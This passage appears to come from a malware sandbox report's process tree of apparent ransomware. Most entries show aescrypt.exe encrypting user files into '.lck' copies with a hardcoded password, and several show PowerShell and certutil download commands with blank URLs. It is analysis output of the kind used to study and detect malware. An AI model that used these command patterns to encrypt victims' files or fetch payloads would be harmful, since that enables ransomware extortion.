                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "GetPublish.gif.lck.lck.lck" "GetPublish.gif.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3220
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "PublishStep.svgz.lck" "PublishStep.svgz"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:348
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "PublishStep.svgz.lck.lck" "PublishStep.svgz.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3964
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "PublishStep.svgz.lck.lck.lck" "PublishStep.svgz.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1808
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ResumeRequest.wmf.lck" "ResumeRequest.wmf"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:744
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ResumeRequest.wmf.lck.lck" "ResumeRequest.wmf.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3892
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ResumeRequest.wmf.lck.lck.lck" "ResumeRequest.wmf.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3420
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "OptimizeMeasure.dib.lck" "OptimizeMeasure.dib"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3588
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "OptimizeMeasure.dib.lck.lck" "OptimizeMeasure.dib.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3496
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "OptimizeMeasure.dib.lck.lck.lck" "OptimizeMeasure.dib.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1556
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DenyPing.pcx.lck" "DenyPing.pcx"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2248
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DenyPing.pcx.lck.lck" "DenyPing.pcx.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1632
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DenyPing.pcx.lck.lck.lck" "DenyPing.pcx.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:212
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "SwitchRedo.svg.lck" "SwitchRedo.svg"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2292
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "SwitchRedo.svg.lck.lck" "SwitchRedo.svg.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1824
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "SwitchRedo.svg.lck.lck.lck" "SwitchRedo.svg.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4880
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      powershell.exe -c (new-object System.Net.WebClient).DownloadFile('','')
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2916
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      powershell.exe -c Invoke-WebRequest -Uri -OutFile
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5176
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\certutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      certutil -urlcache -split -f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5284
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5316
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "desktop.ini.lck" "desktop.ini"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5328
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "CompareMerge.midi.lck" "CompareMerge.midi"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5340
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "WatchSplit.xht.lck" "WatchSplit.xht"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5356
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "InstallConvertFrom.dotm.lck" "InstallConvertFrom.dotm"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5368
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "LimitRename.mp3.lck" "LimitRename.mp3"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5384
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "SearchRedo.vdx.lck" "SearchRedo.vdx"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "UseMeasure.vssx.lck" "UseMeasure.vssx"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5416
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ExportDebug.wps.lck" "ExportDebug.wps"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5432
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "UnprotectRevoke.xps.lck" "UnprotectRevoke.xps"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5448
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "TraceResize.ini.lck" "TraceResize.ini"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5464
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "PingLock.vdx.lck" "PingLock.vdx"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5484
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ClearCompress.ppsm.lck" "ClearCompress.ppsm"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5500
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "EditProtect.jfif.lck" "EditProtect.jfif"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5528
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "RequestSave.xltm.lck" "RequestSave.xltm"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5544
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "BackupInvoke.tiff.lck" "BackupInvoke.tiff"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5560
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "PublishAdd.sql.lck" "PublishAdd.sql"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5576
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "RenameFind.M2V.lck" "RenameFind.M2V"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5592
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ResolveEnable.docm.lck" "ResolveEnable.docm"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5608
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DisconnectWait.dll.lck" "DisconnectWait.dll"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5624
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "OptimizeShow.7z.lck" "OptimizeShow.7z"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5640
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "BackupMount.mpeg2.lck" "BackupMount.mpeg2"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5656
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "GrantTest.cab.lck" "GrantTest.cab"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5672
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "PublishDismount.tif.lck" "PublishDismount.tif"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5688
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ResolveTest.lnk.lck" "ResolveTest.lnk"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5704
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ConvertShow.ppsm.lck" "ConvertShow.ppsm"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5720
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "AddReset.dib.lck" "AddReset.dib"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5736
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "MeasureWatch.shtml.lck" "MeasureWatch.shtml"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5752
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ResumeUnpublish.TS.lck" "ResumeUnpublish.TS"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5768
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "CompareReceive.txt.lck" "CompareReceive.txt"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5784
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "EnableMeasure.lnk.lck" "EnableMeasure.lnk"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5800
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "MergeExport.3gp.lck" "MergeExport.3gp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5816
